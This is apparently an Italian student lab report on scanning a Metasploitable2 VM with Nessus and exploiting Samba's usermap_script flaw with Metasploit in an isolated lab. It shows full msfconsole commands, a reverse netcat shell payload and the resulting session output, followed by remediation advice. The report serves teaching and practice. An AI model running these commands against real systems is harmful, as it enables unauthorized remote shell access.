



# Build Week 2 – Progetto 4

## Vulnerability Assessment e Exploitation su Metasploit

### 1. Executive Summary

L'obiettivo di questa attività è l'identificazione e lo sfruttamento di vulnerabilità note sulla macchina target Metasploitable2. Il processo si articola in tre fasi principali:

1. **Scanning:** analisi automatizzata tramite Nessus per mappare la superficie di attacco.
2. **Exploitation:** utilizzo del framework Metasploit per colpire il servizio Samba sulla porta 445.
3. **Post-Exploitation:** verifica dell'accesso ottenuto e conferma dell'identità del target.

L'operazione mira a dimostrare come configurazioni errate o software obsoleti possano portare alla completa compromissione del sistema.

### 2. Configurazione del Laboratorio

L'ambiente è stato isolato in una rete interna per garantire la sicurezza delle operazioni con le seguenti macchine virtuali interessate e relativi indirizzi IP impostati manualmente:

Host	Sistema Operativo	Indirizzo IP
Attaccante	Kali Linux	192.168.50.100
Vittima	Metasploitable2	192.168.50.150

## 3. Vulnerability Scanning (Nessus)

Dopo aver avviato un Basic Network Scan su Nessus puntando all'**IP 192.168.50.150**, i risultati evidenziano criticità elevate.

- **Porta 445 (TCP):** Rilevata presenza di Samba.
- **Vulnerabilità:** Il sistema risulta vulnerabile a diverse esecuzioni di codice remoto (RCE).
- **Focus:** La scansione conferma che il servizio Samba è malconfigurato, permettendo l'uso dello script **usermap\_script**.

The screenshot shows the Nessus interface with the following details:

- meta / Plugin #90509**
- Samba Badlock Vulnerability** (HIGH)
- Description**: A detailed description of the Samba Badlock vulnerability, stating it exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. It allows a man-in-the-middle attacker to intercept traffic between a client and a server hosting a SAM database, leading to various security issues.
- Solution**: Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.
- See Also**: <https://www.samba.org/samba/security/CVE-2016-2118.html>
- Output**: A note indicating that the Samba Badlock patch has not been applied.
- Plugin Details**:
  - Severity: High
  - ID: 90509
  - Version: 1.9
  - Type: remote
  - Family: General
  - Published: April 13, 2016
  - Modified: November 17, 2025
- Risk Information**:
  - Risk Factor: Medium
  - CVSS v3.0 Base Score: 7.5
  - CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:H/R:N/U:H/I:H/A:H
  - CVSS v2.0 Temporal Vector: CVSS:3.0/E:U/RL:O/R:C
  - CVSS v2.0 Temporal Score: 6.5
  - CVSS v2.0 Base Score: 6.8
  - CVSS v2.0 Temporal Score: 5.0
  - CVSS v2.0 Vector: CVSS2#AV:N/AC:M/AU:N/C:P/I:P/A:P
  - CVSS v2.0 Temporal Vector: CVSS2#E:U/RL:O/R:C

## 4. Exploitation con Metasploit

In questa fase passeremo allo sfruttamento (Exploitation) mediante l'uso del framework Metasploit.

### 4.1 Selezione e configurazione Exploit

Avvio di msfconsole con il comando msfconsole

## Ricerca e utilizzo del modulo *usermap script*

```
use exploit/multi/samba/usermap_script
```

```
msf > search usermap
Matching Modules
=====
#  Name                      Disclosure Date  Rank      Check  Description
-  --
0  exploit/multi/samba/usermap_script  2007-05-14    excellent  No     Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > 
```

## Impostazione parametri

Eseguo il comando `show options`, il quale mi indica i parametri necessari(Required) per compiere l'exploit

Impostiamo i parametri verifichiamoli prima dell'esecuzione:

```
set RHOSTS 192.168.50.150  
set LPORT 5555  
set RPORT 445
```

```
msf exploit(multi/samba/usermap_script) > set lport 5555  
lport => 5555  
msf exploit(multi/samba/usermap_script) > set rhost 192.168.50.150  
rhost => 192.168.50.150  
msf exploit(multi/samba/usermap_script) > set rport 445  
rport => 445  
msf exploit(multi/samba/usermap_script) > show options  
  
Module options (exploit/multi/samba/usermap_script):  


| Name    | Current Setting | Required | Description                                                                                                             |
|---------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                |
| CPORT   |                 | no       | The local client port                                                                                                   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni |
| RHOSTS  | 192.168.50.150  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                  |
| RPORT   | 445             | yes      | The target port (TCP)                                                                                                   |

  
Payload options (cmd/unix/reverse_netcat):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 5555            | yes      | The listen port                                    |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| -- |           |
| 0  | Automatic |

  
View the full module info with the info, or info -d command.
```

I parametri sono tutti corretti pertanto è possibile procedere con il lancio dell'attacco lanciando il comando `exploit` (o `run`)

---

## 5. Post-Exploitation e Verifica

Si apre una sessione (session 1) e una volta aperta, si necessita di verificare l'effettivo controllo della macchina vittima utilizzando il comando **ifconfig**

```

msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.50.100:5555
[*] Command shell session 1 opened (192.168.50.100:5555 → 192.168.50.150:59271) at 2026-01-27 05:41:02 -0500

ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:17:03:ff
          inet addr:192.168.50.150 Bcast:192.168.50.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe17:3ff/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
            RX packets:10006 errors:0 dropped:0 overruns:0 frame:0
            TX packets:7678 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:1100570 (1.0 MB) TX bytes:1117869 (1.0 MB)
            Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING MTU:16436 Metric:1
            RX packets:547 errors:0 dropped:0 overruns:0 frame:0
            TX packets:547 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:92641 (90.4 KB) TX bytes:92641 (90.4 KB)

```

L'output mostra l'interfaccia di rete eth0 con l'indirizzo ip **192.168.50.150** (Metasploitable 2), confermando che la shell remota è attiva sul target corretto.

---

## 6. Conclusioni

L'esercitazione ha dimostrato l'efficacia della combinazione tra scanning automatico con Nessus e l'exploitation mirata con Metasploit. La vulnerabilità **Samba usermap\_script** è stata sfruttata con successo a causa della mancata sanificazione dei nomi utente, che permette l'iniezione di comandi shell.

### Raccomandazioni:

- Aggiornare il servizio Samba a una versione patchata;
- Limitare l'accesso alla porta 445 tramite firewall;
- Disabilitare script di mappatura utenti non necessari.